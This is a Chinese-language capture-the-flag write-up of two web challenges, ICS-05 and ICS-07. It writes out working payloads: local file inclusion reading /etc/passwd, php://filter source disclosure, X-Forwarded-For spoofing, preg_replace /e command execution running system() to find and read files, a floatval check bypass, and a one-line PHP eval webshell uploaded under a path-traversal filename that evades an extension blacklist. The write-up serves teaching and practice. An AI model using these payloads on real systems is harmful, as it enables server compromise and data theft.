Web-(ics-05/ics-07)-WriteUp

前几天期末考试 , 就划了几天没看题 . 考完顺便看了个Major比赛 , VG牛逼 ! Ti9加油 !

七月份得抓紧时间了~

这两天看了CyberEarth ICS 两道题 , 难度没有太大 , 但是有的点不容易想到 , 这里记录一下~


ICS-05

  1. 设备维修处存在漏洞

    设备维修界面

    png

    发现当点击左上 " 云平台设备维护中心 " 时 , 页面通过GET方法请求了 page 参数 , 并且在页面会有回显

    png

    这里提示已经够明显了 , 肯定要试一下存不存在 LFI 这类漏洞

  2. 然后试了下就找到文件包含漏洞

    Payload : ../../../etc/passwd

    png

    找到了本地包含 , 那么利用的方式就太多了 , 因为还没有明确的方向 , 所以可以先读取一下页面源码

  3. PHP伪协议读取源码

    Payload : ?page=php://filter/read=convert.base64-encode/resource=index.php

    png

    将其解码后发现该页面存在漏洞

    png

  4. XFF攻击

    这里只需要访问者的IP为127.0.0.1 , 就可以以admin的身份登录该页面 . 所以利用XFF伪造访问IP地址

    png

    成功以管理员的身份登录该页面

  5. preg_replace /e代码执行漏洞

    下面是一个preg_replace函数 , 通过URL分别获取pat , rep , sub 三个参数 , 拼接到函数中去执行 , 这里自然想到了preg_replace/e的代码执行漏洞

    其实利用preg_replace/e标志执行代码并不算是一个漏洞 , 而只是一个特性 . /e参数也已经在PHP 7中被取消了 . 这里可以执行任意代码是因为该函数参数可以由攻击者任意构造

    preg_replace( pattern , replacement , subject ) : 当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)

    下面举个phpinfo的例子

    Payload : ?pat=/test/e&rep=phpinfo()&sub=test

    png

  6. system()执行系统命令

    既然可以执行任意PHP代码 , 那么就可以利用PHP中的函数执行系统命令 , 找到与 ' flag ' 相关的文件

    Payload : ?pat=/test/e&rep=system('find%20/%20-iname%20flag')&sub=test

    URL中不能出现空格 , 所以需要将空格用 ' %20 ' 或者 ' + ' 替换

    png

    找到一个目录/var/www/html/s3chahahaDir/flag/ , 查看是否存在与flag相关的文件

    Payload : ?pat=/test/e&rep=system('ls%20/var/www/html/s3chahahaDir/flag/')&sub=test

    png

    下面可以通过系统函数直接读取flag.php , 也可以通过php://filter/来读取flag.php , 结果都一样~

    Payload : ?pat=/test/e&rep=system('cat%20/var/www/html/s3chahahaDir/flag/flag.php')&sub=test

    png

  7. 总结

    这题给的思路很清晰 , 并且考点也比较简单~


ICS-07

  1. 在项目管理界面发现漏洞

    png

    这里直接把页面源码给你了 , 其中一共有三段PHP代码

  • 第一段代码没什么重点 , 可以看到page参数是必不可少的

    png

  • 第二段代码是重点!

    png

    这段代码的功能是通过POST方法上传文件 . 用户需要指定文件内容与文件名 , 系统分别接收这两个参数 , 对文件名后缀进行正则匹配 , 当通过匹配后 , 会将文件上传到 ./uploaded/backup/这个目录中

    重点是这个正则表 , /.+\.ph(p[3457]?|t|tml)$/i , 这个过滤机制看上去是比较严格的 , 但是因为采用黑名单过滤 , 很大程度上存在被绕过的可能

    并且想要执行上面这段代码 , 需要有一个名为admin的session , 这个session怎么获得现在还不知道

    不过可以猜到 , 利用这个文件上传功能可以上传WebShell.

  • 第三段代码展示了如何获得admin这个session

    png

    从URL获取一个id参数 , 这个id参数要满足不为' 1 ' , 且最后一位为 ' 9 ' . 当通过这个判断后 , 将其带入数据库操作 , 如果返回的结果不为空 , 那么将会设置 $_SESSION['admin'] = True .

    这里利用了数据库操作 , 第一反映就是SQL注入 , 但是代码中使用了 mysql_real_escape_string() 函数 , 该函数用于转义SQL语句中使用的字符串中的特殊字符 , 防御SQL注入 . 虽然可以利用宽字符注入绕过这个防御机制 , 但是要求目标站点使用GBK编码 . 这些细节信息我都不知道 , 所以想要注入是比较难的.

    再看代码 , 发现是只要有返回信息就可以拿到session了 . 那么是否可以不采用SQL注入 , 让数据库完成一次有返回值的查询就可以了呢?

    代码中那个floatval()其实给了足够的提示 , floatval()函数用于获取变量的浮点值 , 并且与 '1' 进行比较 . 注意这里比较采用的是!== , PHP弱类型比较( 松散比较 )出过很多的安全问题 , 这里使用的严格比较 , 严格比较会比较两者的数据类型 , 所以这里floatval($_GET[id]) !== '1' 是恒成立的! , 看下图

    png

    并且floatval()在碰到特殊字符时会截断后面的部分( 比如说空格 ) , 比如这里输入1 2 , floatval()只会返回float(1)

    png

  1. 获得$_SESSION['admin']=True

    前面已经找到了如何绕过判断 , 为了满足要求 , 这里构造id字段为'1 9' , 并且空格在带入数据库时会被截断 , 所以成功返回id=1的用户信息 , 又因为存在返回信息 , 所以成功获得Session

    Payload : ?page=flag.php&id=1%209

    png

  2. 上传WebShell

    拿到了Session , 下面就可以上传文件了

    文件最终被上传到/uploaded/backup/ , 这个目录是可以被直接访问的

    png

    那么如何访问上传的文件已经不再是问题 , 需要做的仅仅是突破这个正则过滤 . 正则对文件后缀进行限制 . 所以关键点还是在文件后缀名

    如何突破文件后缀名的限制?主要思路有如下三点

  • 一种是Web中间件的解析漏洞 , 因为已经知道中间件是Apache2 , 使用的是PHP . 所以无非就是Apache解析漏洞或者PHP CGI解析漏洞

  • 一种是通过上传.htaccess文件 , 该文件是Apache的一大特色 . 其中一个功能便是修改不同MIME类型文件使用的解析器 . 但要使用该功能需要Apache在配置文件中设置AllowOverride All , 并且启用Rewrite模块 , 经过测试发现上传的.htaccess无法生效

          # 举个例子 : 上传 .htaccess 文件 , 其中写入如下内容
          <FilesMatch "shell.jpg">
              SetHandler application/x-httpd-php
          </FilesMatch>
          # 此时 , shell.jpg 会被解析为PHP文件
          # 但是经过测试这里 .htaccess 功能被禁用了
    
  • 罕见文件后缀 , 想要解析PHP文件 , 并非后缀要是*.php . 如果查看mime.types , 会发现很多文件后缀都使用了application/x-httpd-php这个解析器

    png

    其中 phpsphp3p 都是源代码文件 , 无法被执行 . 而剩下所有的后缀都被正则表过滤 , 所以这种方式也无法成功上传可执行文件


所以最后还是回到了中间件解析漏洞上 , 但是经过测试发现并不是常规的解析漏洞 , 而是利用了一个Linux的目录结构特性 , 请看下面代码

png

创建了一个目录为1.php , 在 1.php 下创建了一个子目录为 2.php . Linux下每创建一个新目录 , 都会在其中自动创建两个隐藏文件

png

其中 .. : 代表当前目录的父目录 , . : 代表当前目录 , 所以这里访问 ./1.php/2.php/.. 代表访问 2.php 的父目录 , 也就是访问 1.php . 这个点我以前都没有注意过

因此这里构造数据包时 , 可以构造如下POST数据

Payload : con=<?php @eval($_POST[cmd]);?>&file=test.php/1.php/..

将一句话木马写入test.php , 而上传的文件名也成功绕过正则表的限制

png

png

成功上传WebShell!

  1. 连接WebShell , 拿到Flag

    png

    png

  2. 总结

    这题其实也不算难 , 思路还算清晰 . 我在如何构造文件名绕过正则表过滤上花费了很长时间 , 因为一直想着利用解析漏洞等 ... 这种访问子目录的父目录的方式真的学到了!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇